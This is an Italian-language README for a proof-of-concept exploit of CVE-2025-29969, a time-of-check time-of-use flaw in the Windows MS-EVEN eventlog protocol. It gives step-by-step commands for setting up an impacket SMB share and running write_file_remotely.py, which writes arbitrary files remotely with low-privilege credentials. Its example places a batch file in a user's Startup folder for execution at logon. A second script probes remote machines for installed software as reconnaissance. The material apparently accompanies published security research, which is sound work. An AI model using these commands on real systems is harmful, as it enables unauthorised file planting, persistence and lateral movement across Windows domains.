EventLogin-CVE-2025-29969

EventLogin - CVE-2025-29969

EventLogin è una vulnerabilità di tipo Time-of-check time-of-use nel protocollo MS-EVEN. La vulnerabilità consente a utenti con privilegi bassi di scrivere file arbitrari su una macchina remota, bypassando di fatto la necessità di un account amministratore per una scrittura remota.

Ci sono due script in questo repository: uno sfrutta la vulnerabilità (write_file_remotely.py), e l'altro utilizza una delle primitive della vulnerabilità per verificare se un file remoto esiste o meno, come utente con privilegi bassi, cosa utile, ad esempio, per vedere i programmi installati su altri computer del dominio.

Puoi leggere l'analisi completa qui:

EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows

Utilizzo per write_file_remotely

Prima, crea una condivisione SMB usando impacket:

impacket-smbserver -smb2support Share /tmp/safebreach

Nota: lo script utilizza 'Share' come nome della condivisione hard-coded, modificalo se necessario.

Poi, esegui lo script write_file_remotely.py e includi tutti i parametri richiesti:

1. ip_to_attack - L'IP della macchina remota.
2. smb_server_ip - L'IP della macchina su cui hai aperto la condivisione, può essere la macchina dell'attaccante.
3. username e password - Le credenziali dell'account a bassi privilegi.
4. valid_evtx_file_path - Un percorso a un file EVTX valido che hai memorizzato nella stessa condivisione aperta in precedenza.
5. local_file_path - Il file che vuoi caricare.
6. remote_file_path - Il percorso remoto del file su cui vuoi caricare.

Esempio:

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"

Utilizzo per check_if_exists

Questo script non utilizza la vulnerabilità stessa, ma usa solo la primitiva "CreateFile" e può aiutarti a esplorare la rete.

Ad esempio, la directory Program Files di una macchina remota in un dominio è accessibile all'intero gruppo 'Users', il che significa che utilizzando credenziali di QUALSIASI utente puoi verificare se un file esiste o meno su un'altra macchina.

Accetta i seguenti parametri:

1. ip_to_attack - IP da esplorare
2. username - nome utente e password dell'utente di dominio.
3. filepath_to_check - un file da verificare

Ad esempio, verifica se Wireshark è installato sul DC (192.168.56.57) usando un utente con privilegi bassi.

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Risultato:
FILE_EXISTS_AND_IS_DIRECTORY